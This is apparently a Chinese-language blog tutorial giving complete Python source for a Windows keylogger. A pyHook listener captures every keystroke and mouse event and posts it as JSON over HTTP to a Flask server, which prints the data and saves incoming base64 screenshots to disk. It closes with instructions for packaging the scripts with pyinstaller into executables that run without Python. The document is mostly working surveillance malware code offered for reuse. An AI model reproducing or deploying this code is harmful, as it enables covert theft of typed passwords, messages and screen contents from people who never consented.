简介
利用python将windows下键盘和鼠标的操作信息截取转换为JSON格式，通过HTTP发送至服务器
主要分为3个模块，client、server、keyboard-and-mouse。
在服务端启用server，keyboard-and-mouse截取信息后调用client，发送至http_post_json指向的服务器。
架构图
Python模块
“Pyhook”是一个基于Python的“钩子”库，主要用于监听当前电脑上鼠标和键盘的事件。这个库依赖于另一个Python库PyWin32，如同名字所显示的，PyWin32只能运行在Windows平台，所以PyHook也只能运行在Windows平台。
Flask是一个Python编写的Web 微框架，让我们可以使用Python语言快速实现一个网站或Web服务。
背景说明
- Python3.7
- Windows
流程
下载地址： pyHook
client：
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from http.client import HTTPConnection
import json
def http_post_json(ip,dict_data,port=5000):
c = HTTPConnection(ip,port=port)
headers = {}
headers['Content-Type'] = 'application/json'
post_json_data = json.dumps(dict_data).encode ('utf-8')
c.request('POST','/server_json', body=post_json_data, headers=headers)
if __name__ == "__main__":
json_data = {"from": "akjflw","to":"fjlakdj", "amount": 3}
http_post_json('127.0.0.1',json_data)
server：
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from flask import Flask
from flask import request
import base64
import json
from datetime import datetime
node = Flask(__name__)
def b64_img(b64):
b4code = bytes(b64,'utf8')
img = base64.b64decode(b4code)
return img
@node.route('/server_json',methods=['POST'])
def transaction():
if request.method == 'POST':
json_data = request.get_json()
if json_data['MessageType'] == 'ImageEvent':
filename = datetime.now().strftime("%Y-%m-%d %H:%M:%S")+'.bmp'
recv_image = open(filename,'wb')
recv_image.write(b64_img(json_data['Imageb64']))
recv_image.close()
else:
print(json_data)
return 'got data!!!'
if __name__ == '__main__':
node.run(host = '0.0.0.0')
keyboard-and-mouse：
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import pythoncom,pyHook
from client import http_post_json
def OnKeyboardEvent(event):
dict_key = {}
dict_key['MessageType'] = 'KeyboardEvent'
dict_key['MessageName'] = event.MessageName
dict_key['Time'] = event.Time
dict_key['Key:'] = event.Key
http_post_json('127.0.0.1',dict_key)
return True
def OnMouseEvent(event):
dict_key = {}
dict_key['MessageType'] = 'MouseEvent'
dict_key['MessageName'] = event.MessageName
dict_key['Time'] = event.Time
dict_key['Position'] = event.Position
dict_key['Wheel'] = event.Wheel
http_post_json('127.0.0.1',dict_key)
return True
def key_mouse_logger():
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
hm.MouseAll = OnMouseEvent
hm.HookMouse()
pythoncom.PumpMessages()
if __name__ == '__main__':
key_mouse_logger()
其中需要注意的问题：
1、pyHook对应cp号对应python版本，需要特别注意别下载错了
2、No module named ‘pythoncom’问题
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pip install pywin32
3、如果想在没有python的环境下运行需要使用pyinstaller
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pip install pyinstaller
pyinstaller --onefile *.py